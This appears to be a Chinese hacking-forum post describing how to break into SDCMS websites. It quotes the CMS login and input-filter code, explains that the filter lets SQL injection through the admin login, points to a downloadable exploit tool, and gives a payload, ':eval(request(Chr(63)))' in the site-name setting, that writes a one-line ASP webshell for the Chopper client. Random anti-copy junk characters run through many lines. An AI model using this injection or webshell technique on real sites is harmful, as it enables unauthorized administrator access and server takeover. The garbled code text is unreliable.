SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
" z+ S" u& P$ i- H, f* O6 O漏洞文件：后台目录/index.asp

+ R  I. _9 b) Y/ H" Q; A  ?Sub Check
( Z, b+ |" m6 F    Dim username,password,code,getcode,Rs
3 V, ^" U- f! R0 B6 O5 j    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
8 s; k) W& s4 p/ }+ f1 s    code=Trim(Request.Form("yzm"))
7 g/ U" g- Z; B( M$ C7 J    getcode=Session("SDCMSCode")
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
5 a! ?  ^2 L* ?8 A    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
0 ?2 w4 Q* e& I    Else
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
. A" M7 J! d7 J2 B1 W6 x        IF Rs.Eof Then
            AddLog username,GetIp,"登录失败",1
. E) D; S7 B$ m            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
7 K& c4 ?! t2 p        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
            Add_Cookies "sdcms_pwd",Rs(2)
/ W+ G1 E- Y  F5 H0 k            Add_Cookies "sdcms_admin",Rs(3)
& D( ^% q3 o6 q$ s- T" u            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
, }5 {1 `0 g% X) O            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
$ T! v1 ]7 ^. t9 A            AddLog username,GetIp,"登录成功",1
            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
9 u# [! N7 a% B8 w                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
) C  K+ b# u7 W            Go("sdcms_index.asp")
; E- _- @+ k. u* e0 u" F        End IF
        Rs.Close
0 k5 n! ~5 p4 t5 o9 l# c$ P, U        Set Rs=Nothing
8 V" @  r0 N- W* `& C3 X. f1 A    End IF
1 H# W) A* j; ~$ x6 i! }, X1 LEnd Sub

/ {+ f( ?! l" c’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
3 W3 P' u) S) ^# v, N/ v/ m
( B7 E$ R# S+ _0 ^; Y  f- _6 r9 L& |0 YFunction FilterText(ByVal t0,ByVal t1)
0 U3 A/ b. D1 i" y) B6 H    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
    t0=Trim(t0)
    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
+ H- y. a, q) \, `! A            t0=Replace(t0,Chr(12),"")'换页
, S% j1 _- R; J1 w            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
( A& ?/ W& {# ]1 d            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
% x* d, Y# g3 D, I            t0=Replace(t0,Chr(33),"")'!
8 C5 ^9 W1 n) ?6 P& p4 S            t0=Replace(t0,Chr(34),"")'"
) `9 _. G9 X* I1 _: I) G            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
8 v. ]$ J  h3 T; A, l1 z( s            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
6 \1 |! |) q: Z: B            t0=Replace(t0,Chr(41),"")')
2 u9 W+ ~% X& X$ @3 r8 q( u            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
: [( w( u- V  c$ p( a; X            t0=Replace(t0,Chr(44),"")',
  r* X0 C& ?6 @6 v! m0 O* {2 t            t0=Replace(t0,Chr(45),"")'-
. |" z$ p8 v  B8 X! ?7 m            t0=Replace(t0,Chr(46),"")'.
            t0=Replace(t0,Chr(47),"")'/
, i1 T0 N1 P0 m! d) Z            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
# w0 [% T, d- ^4 y6 a            t0=Replace(t0,Chr(63),"")'?
7 k5 m0 n, G! F# y' R4 U% X1 J            t0=Replace(t0,Chr(64),"")'@
" m. C, v4 |* P0 M, M' D            t0=Replace(t0,Chr(91),"")'\
: r; D: s% ]* b* p% d            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
4 {; }% _' _! h* J. j' x1 V            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
1 @  \. V5 F' w3 D0 r4 v4 t            t0=Replace(t0,Chr(123),"")'{
/ {% E: }; k6 x* h3 q            t0=Replace(t0,Chr(124),"")'|
; {0 a% Q* z6 u+ W            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
0 V: _5 o- d: ?, S  f' N        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
) R/ }% ^: z3 N" F+ r  h2 P    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
2 b/ F3 t1 b2 m2 K, e& s        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
    FilterText=t0
5 v$ G2 ~3 c6 IEnd Function

看到没。直接参数是1 只过滤
                        t0=Replace(t0,Chr(32)," ")
3 x5 T$ `) s) j8 o( v                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
7 x$ U' Y# N9 d! {2 V")
9 C  @$ T* ]4 J9 \2 ?                        t0=Replace(t0,Chr(10),"
")
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
/ ~& V! @5 ~/ ~0 B
# B- p  d% s: c- y测试:
7 J  _' l, H* ?( ]

现在输入工具上验证码,然后点OK
. j% _( L& ?( d& p  M* U' k
: x4 s2 {* r! Z) `) E0 t, ?4 S
! [8 H9 O. {$ Q: k1 V看到我们直接进入后台管理界面了,呵呵!
/ ~8 Q2 \/ d! y2 m: V

2 F! [" \. I+ y; s; w
这样直接进入后台了。。。。
) f' `, ~/ }- X+ [$ u
+ I$ m/ Z% |; ?% E" Q

3 O! I1 ]) y. b; ]; u: f/ _SDCMS提权:

5 g6 a) }# {9 B: O5 K3 X方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?



OK,现在用菜刀连接下!
) J8 J+ {* ]% a
  ?: w  R. c8 w+ M- \8 p
, H5 a" h) q% N# {1 T+ V4 l

: b. o$ o1 W2 F/ `% Y$ R, y5 }